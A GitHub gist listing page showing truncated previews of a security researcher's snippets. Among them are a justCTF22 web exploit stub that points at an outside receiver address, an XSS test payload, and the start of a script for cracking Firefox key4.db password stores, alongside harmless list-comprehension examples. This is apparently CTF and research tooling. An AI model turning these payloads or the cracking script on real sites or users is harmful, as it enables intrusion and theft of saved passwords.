Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Maciej Piechota haqpl

🎯
Focusing
View GitHub Profile
@haqpl
haqpl / sploit.py
Created Jun 12, 2022
justCTF22 - Ninja
View sploit.py
from flask import Flask
from flask import request
import string
import requests
from bs4 import BeautifulSoup
URL = "http://ninja.web.jctf.pro"
RECEIVER = "http://51.38.138.162:1338"
proxy = {}
@haqpl
haqpl / rmi_dump.sh
Last active Dec 12, 2021
Setup Java RMI registry and parse RMI calls.
View rmi_dump.sh
#!/bin/bash
# haqpl
# https://aweirdimagination.net/2020/06/28/kill-child-jobs-on-script-exit/
cleanup() {
# kill all processes whose parent is this process
pkill -P $$
}
for sig in INT QUIT HUP TERM; do
trap "
View test.js
<script>alert(1337)</script>
@haqpl
haqpl / key4.db-crack.sh
Last active Sep 1, 2019 — forked from bcoles/7zip-jtr.sh
Key4.db Mozilla Decrypt Script
View key4.db-crack.sh
#!/bin/bash
# Key4.db Mozilla Firefox Decrypt Script
#
# Clone of JTR Decrypt Scripts by synacl modified for mozilla firefox
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/
# haqpl - mozilla firefox decrypt
echo "Key4.db Mozilla Firefox Decrypt Script";
if [ $# -ne 2 ]
@haqpl
haqpl / listceven.py
Created Jul 1, 2018
list comprehension even elements
View listceven.py
a = [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
b = [c for c in a if c%2 == 0]
@haqpl
haqpl / listc.py
Created Jul 1, 2018
list comprehension solution
View listc.py
a = [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
b = [c for c in a[:7]]